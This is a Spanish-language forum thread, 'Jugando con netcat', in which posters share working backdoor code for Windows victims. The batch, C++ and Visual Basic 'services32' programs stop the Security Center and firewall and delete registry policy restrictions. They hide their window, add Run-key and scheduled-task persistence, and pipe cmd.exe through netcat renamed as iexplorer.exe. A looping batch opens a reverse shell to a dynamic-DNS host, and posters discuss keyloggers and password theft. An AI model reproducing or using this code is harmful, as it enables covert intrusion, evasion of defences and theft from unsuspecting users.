Jugando con netcat

Iniciado por WHK, 25 Marzo 2007, 03:17 AM

0 Miembros y 3 Visitantes están viendo este tema.

WHK

dasdas:
-------------------------------------------------------------------
Citar:
iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25
-------------------------------------------------------------------

Si pones esto en un SFX no te lo ejecutará ya que el simbolo "|" es un modificador de la consola de comandos y no del SFX sea de winrar o winzip... para eso puedes escribir esto:

"%homedrive%%windir%\system32\cmd.exe" /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25

y con esto harás pasar tu comando directamente a traves de la consola de comandos ejecutando tu modificador "|"  ;)

dasdas

#61
bueno, muchas gracias cracka, no tenia npi de esto.
ah, un dato esto de "|" se le llama tubería, hehehe, nada de simbolitos xD

otro temita, se podria ir enumerando las posibles causas que pueden hacer que aunque la victima ejecutase el ejecutable, nosotros no recibieramos la shell. porque de momento he tenido clientes que no he recibido respuesta.

y por ultimo, la manera de como ahora se inicia cada vez que se arranca no me gusta mucho ya que hay sistemas que no se conectan a internet hasta al cabo de unos segundos, ya sea porque usan wifi, o cualquier cosa, se podria pensar otra manera.


ACT: Va ser que tu metodo.... no rula, bueno, he cambiado todo eso por:

Citarcmd.exe /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25

pero sigue abriendose una ventana de shell, aunque ahora ya no sale el comando... en este caso no importaria mucho si no fuese que cuando se cierra la shell, ya no tira...

EvilGoblin

Hice un pequenio programa en c/c++ para lograr ejecutar comandos y desvincularlos de la shell

osea si tienes un bat
que sea
@echo off
echo "hola mundo" > hola.txt
cls
exit

si lo ejecutas en la shell se cerrara por el comando "exit"
entonces con este programa no se cerrara pork lo ejecuta en otro hilo
y sirve para ocultar los bats asi no sale la pantalla de MS-DOS

^^ ahi te mande un MP a WHK

nos comunicamos y te mando el .exe y el codigo fuente

y si kieres un video de como funciona =)

^^" el credito es todo tuyo.. y esperemos que le pongan chincheta a este hilo  =D

¿alquien mas tubo problemas para pasar archivos con TFTP?

estoy intentando hacer herramientas para lograr ejecutar del otro lado.. como capturar contraseñas guardadas en el registro o la memoria.. incluso un keylogger para cerrar el msn con TASKILL y luego conseguir la contraseña q ingresa ^^

Nos comunicamos Suerte! =D

MUY BUEN TUTO!! ^^ =P te ganaste una medalla! xD
Experimental Serial Lain [Linux User]

dasdas


WHK

#64
aver... les intereó tanto el tema que les complicaré un poco la existencia con programación en batch, VB y en C para que puedan aplicar sus propias conclusiones y todo lo que se les venga a la mente, ya que por lo visto este post ya lo está mirando gente con un poco de conocimiento en programación.

Bueno... aya voy.. aver si me resulta porque todo esto será improvisado :-s

BATCH:services32.bat


REM Creado por WHK para el foro de elhacker.net
@echo off
Echo Actualizando el sistema...
net stop Centro de seguridad > nul
net stop Firewall de Windows/Conexión compartida a Internet (ICS) >nul
set nc=cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25
reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "services32" /t REG_SZ /d "%nc%" /f >nul
at 12:00 "%nc%"
%nc%
cls
Echo terminado!
exit



C: services32.cpp

// Compilar en modo no consola
// Creado por WHK para el foro de elhacker.net
//suponiendo que iexplorer es tu netcat hacemos lo siguiente:

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

int WINAPI WinMain(
  HINSTANCE hInstance,
  HINSTANCE hPrevInstance, 
  LPSTR lpCmdLine,
  int nCmdShow
)
{
// Modificamos el registro para poder usar el comando "reg" en system("reg ad"); con toda tranquilidad
HKEY reg1;
if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &reg1) == ERROR_SUCCESS)
{
   if (RegQueryValueEx(reg1, "DisableRegistryTools", NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
   {
      if (RegDeleteValue(reg1, "DisableRegistryTools") == ERROR_SUCCESS)
      printf("\nDisableRegistryTools   : Modificado.");
      else
      printf("\nDisableRegistryTools   : Imposible modificar.");
   } else
        printf("\nDisableRegistryTools   : Inexistente.");
} else
        printf("\nDisableRegistryTools   : Inaccesible.");
// comprobamos que podemos ejecutar el netcat :s
HKEY reg2;
if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\explorer", 0, KEY_ALL_ACCESS, &reg2) == ERROR_SUCCESS)
{
   if (RegQueryValueEx(reg2, "RestrictRun", NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
   {
      if (RegDeleteValue(reg2, "RestrictRun") == ERROR_SUCCESS)
      printf("\nRestrictRun            : Modificado.");
      else
      printf("\nRestrictRun            : Imposible modificar.");
   } else
        printf("\nRestrictRun            : Inexistente.");
} else
        printf("\nRestrictRun            : Inaccesible.");
//estas dos modificaciones es lo mismo que los primeros pero en HKLM en ves de HKCU
HKEY reg3;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &reg3) == ERROR_SUCCESS)
{
   if (RegQueryValueEx(reg3, "DisableRegistryTools", NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
   {
      if (RegDeleteValue(reg3, "DisableRegistryTools") == ERROR_SUCCESS)
      printf("\nDisableRegistryTools   : Modificado.");
      else
      printf("\nDisableRegistryTools   : Imposible modificar.");
   } else
        printf("\nDisableRegistryTools   : Inexistente.");
} else
        printf("\nDisableRegistryTools   : Inaccesible.");

HKEY reg4;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\explorer", 0, KEY_ALL_ACCESS, &reg4) == ERROR_SUCCESS)
{
   if (RegQueryValueEx(reg4, "RestrictRun", NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
   {
      if (RegDeleteValue(reg4, "RestrictRun") == ERROR_SUCCESS)
      printf("\nRestrictRun            : Modificado.");
      else
      printf("\nRestrictRun            : Imposible modificar.");
   } else
        printf("\nRestrictRun            : Inexistente.");
} else
        printf("\nRestrictRun            : Inaccesible.");
// Comprobamos que nuestro netcat no ha sido borrado por el antivirus XD
FILE *pf;
char cad[80];
if (!(pf=fopen("iexplorer.exe","rb"))) // controlamos si se produce un error
{
printf("Error al abrir el fichero");
exit(0); // abandonamos el programa
}
else
{
fclose(pf);
}
system ("ping -n 2 127.0.0.1 > nul");// esto retarda un segundo para que pueda aparecer la consola de comandos antes de:
ShowWindow(GetForegroundWindow(),SW_HIDE); // esconder la consola :D
system ("net stop Centro de seguridad");
system ("net stop Firewall de Windows/Conexión compartida a Internet (ICS)");
system ("reg add HKcU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"services32\" /t REG_SZ /d \"services32.exe\" /f");
system ("ping -n 50 127.0.0.1 > nul");
system ("at 12:00 cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25"); // nos aprobechamos y lo metemos en modo SYSTEM en casi que en modo user no funcione :/
system ("cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25");
return 0;
}


VB: Services32.vbp

' Creado por WHK para el foro de elhacker.net

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess&, ByVal bInheritHandle&, ByVal dwProcessId&) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Sub ParaServiciosYcreaUsuario()
     Dim hShell As Long
     Dim hProc As Long
     Dim codExit As Long
     Dim sCmd As String
     Dim Comando As String
' Para el servicio de Centro de seguridad
     Comando = "net stop " & Chr(34) & "Centro de seguridad" & Chr(34)
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
' el Chr(34) son las comillas dobles, para ejecutar un commando de MSDOS que sea una frase larga necesitamos ejecutarlo con dobles comillas, pues así se pondría para que VB lo ejecute bien.
  ' Para el servicio del Firewall de Windows
     Comando = "net stop " & Chr(34) & "Firewall de Windows/Conexión compartida a Internet (ICS)" & Chr(34)
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
' Ejecutamos netcat
     comando = "cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25" & Chr (34)
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
End Sub

Sub MeteloEnRegistro()
     Dim hregkey As Long
     Dim subkey As String
          subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
     Dim stringbuffer As String
     Dim PathPrograma As String
          PathPrograma = "C:\WINDOWS\system32\services32.exe"
     Dim NombrePrograma As String
          NombrePrograma = "Services32.exe"
     retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)

     If retval <> 0 Then
          Debug.Print "Can't open the subkey"
          Exit Sub
     End If

     stringbuffer = PathPrograma & vbNullChar
     retval = RegSetValueEx(hregkey, NombrePrograma, 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
     RegCloseKey hregkey
End Sub


Y necesitamos en un módulo meter esto:

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1

------------------------------------------------------------------

Bueno.. cada uno pipea el netcat de formas diferentes para que cada uno pueda sacar sus propias conclusiones ;)
Aver si ahora hechan a volar un poco mas la imaginación.

Att Yan
Unilola Software.

dasdas

muy currado, gracias crack!

EvilGoblin

Este es el que uso para ejecutar algun comando y desvincularlo de la shell

Citar//Eject Threads By Evilgoblin V 0.0000001 xD
#include <iostream.h>
#include <windows.h>
#include <time.h>



int a = 0;
char comando[40];


DWORD WINAPI ThFunc(LPVOID a)
{
system(comando);
cout << "Guardado en a.txt" << endl;
}


int main(int argc, char *argv[])
{
 
sprintf (comando,"%s%s" , argv[1]," > a.txt");
  DWORD  dwThreadID = 1; 
  HANDLE hThread;


       
hThread = CreateThread(NULL,0,ThFunc,&a,0,&dwThreadID);
  Sleep(100); 
    return 0;
}


y este es el bat

Citar@echo off

:hola
nc -d -e cmd.exe midominio.no-ip.info 2333
ping 127.0.0.1
goto hola

Entonces yo con el programa

ejecuto el bat

y queda continuamente ejecutandose y no sale la ventana negra

y si cierro la shell en la que estoy

y abro netcat a la escucha en 2333

Vuelve a abrir la shell

AdeW! =D
Experimental Serial Lain [Linux User]

Novlucker

Ya era hora de que le pusieran chincheta... para todo aquel que no sabe que uso darle al netcat... y para todo aquel que se queda sin ideas,  :-X

Muy bueno
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

WHK

Bueno aver que les parece un programa que estoy haciendo para ustedes (aún no terminado) donde le saca el provecho a todas las secciones de jugando con netcat... algo muy basico... para que todos puedan aprender a sacarle el jugo en Visual Basic:



Si no se ve bien la imagen por el tamaño puedes verla acá: http://www.geocities.com/whk_elhacker_net_2111/nc99.gif

aún no está terminada porque falta devolver en donde dice "log" los mensajes que genere el netcat debuelta, pero todas las funciones (exepto una) funcionan muy bien... la unica que no funciona aún es donde dice "ejecutar en modo system" porque me las estoy ingeniando para adelantar un minuto sobre el comando AT que posibilita ejecuciones en modo SYSTEM.

Les dejo el codigo fuente para que hagan lo que se les de la gana y aprendan como vincular conexiones y ejecuciones con netcat y VB.

Salu2 ;)

santyuste

Tengo una duda con el netcat
Estoy usando el netcat en un pc que esta dentro de una red local "C:\tmp\nc.exe -d -e cmd  myip 5555", se me conecta a un puerto que tengo otro netcat escuchando "c:\windows\system32\nc -v -l -p 5555"

Se me conecta bien, pero cuando uso el edit.exe o cualquier otro programa similar no me aparece por pantalla.

¿por que pasa esto?

Saludos